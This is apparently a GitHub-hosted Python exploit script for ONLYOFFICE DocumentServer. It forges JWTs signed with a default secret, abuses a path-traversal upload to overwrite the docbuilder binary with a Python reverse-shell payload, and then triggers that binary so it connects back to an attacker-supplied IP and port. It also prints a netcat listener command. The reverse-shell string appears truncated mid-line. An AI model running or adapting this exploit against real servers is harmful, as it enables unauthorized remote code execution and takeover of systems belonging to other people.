moehw update CVE ID

History

1 contributor

124 lines (91 sloc) | 3.44 KB

```python
import jwt
import requests
import json
import argparse

from datetime import datetime, timedelta

JWT_SECRET = 'secret'
JWT_ALGORITHM = 'HS256'
JWT_EXP_DELTA_SECONDS = 10800

bash_reverse_shell ='''
export RHOST="{}";export RPORT={};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (
'''

def parse_args():
    parser = argparse.ArgumentParser(description='')

    parser.add_argument('-t', '--target-path', type=str,
        default='/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder', help='Path to a target file')
    parser.add_argument('-ri', '--rev-ip', type=str,
        help='Reverse shell server IP address')
    parser.add_argument('-rp', '--rev-port', type=int,
        help='Reverese shell server port')
    parser.add_argument('-dsi', '--ds-ip', type=str,
        help='DocumentServer IP address')
    parser.add_argument('-dsp', '--ds-port', type=int,
        help='DocumentServer port')
    parser.add_argument('-u', '--url', type=str,
        help='URL to an external file (any file, need only valid URL)')

    args = parser.parse_args()
    return args


def upload_image_file(
    targer_ip, target_port,
    docid, userid, index, buffer
):

    url = f'http://{targer_ip}:{target_port}/upload/{docid}/{userid}/{index}'

    jwt_payload = {
        'exp': datetime.utcnow() + timedelta(seconds=JWT_EXP_DELTA_SECONDS),
        'document': {
            'key': docid,
            'ds_encrypted': 'yeasss!'
            },
        'editorConfig': {
            'user': {
                'id': userid
            }
        },
    }

    jwt_token = jwt.encode(jwt_payload, JWT_SECRET, JWT_ALGORITHM)

    resp = requests.post(url,
        headers={'Authorization': 'Bearer {}'.format(jwt_token.decode('utf-8'))},
        data=buffer
    )

    print('resp = {}'.format(resp))
    return resp


def gen_buffer(path_from_var, file):
    enc_pattern = 'ENCRYPTED;'
    format_str = '/../../../../../../../../..' + path_from_var + ';'

    return enc_pattern + format_str + file


def gen_reverse_shell(ip, port):
    return bash_reverse_shell.format(ip, str(port))


def trigger(target_ip, target_port, ext_url):
    url = f'http://{target_ip}:{target_port}/docbuilder'

    jwt_payload = {
        'exp': datetime.utcnow() + timedelta(seconds=JWT_EXP_DELTA_SECONDS),
        'url': ext_url
    }

    jwt_token = jwt.encode(jwt_payload, JWT_SECRET, JWT_ALGORITHM)

    body = json.dumps({'token': jwt_token.decode('utf-8')})

    resp = requests.post(url,
        data=body
    )

    print('resp = {}'.format(resp))
    return resp


if __name__ == '__main__':
    args = parse_args()
    rev_shell_ip, rev_shell_port = args.rev_ip, args.rev_port
    target_path = args.target_path
    target_ip, target_port = args.ds_ip, args.ds_port
    ext_url = args.url

    print('[!] Don\'t forget to open reverse shell')
    print('For example: nc -l -p 31337 0.0.0.0')
    print()

    print('[*] Generating reverse shell script...')
    rev_shell = gen_reverse_shell(rev_shell_ip, rev_shell_port)

    print('[*] Generating malicious file...')
    buffer = gen_buffer(target_path, rev_shell)

    print('[*] Uploading file with path traversal bug...')
    upload_image_file(
        target_ip, target_port,
        '12345', 'USER', '123', buffer
    )

    print('[*] Triggering its activity...')
    trigger(target_ip, target_port, ext_url)

    print('[*] Done.')
```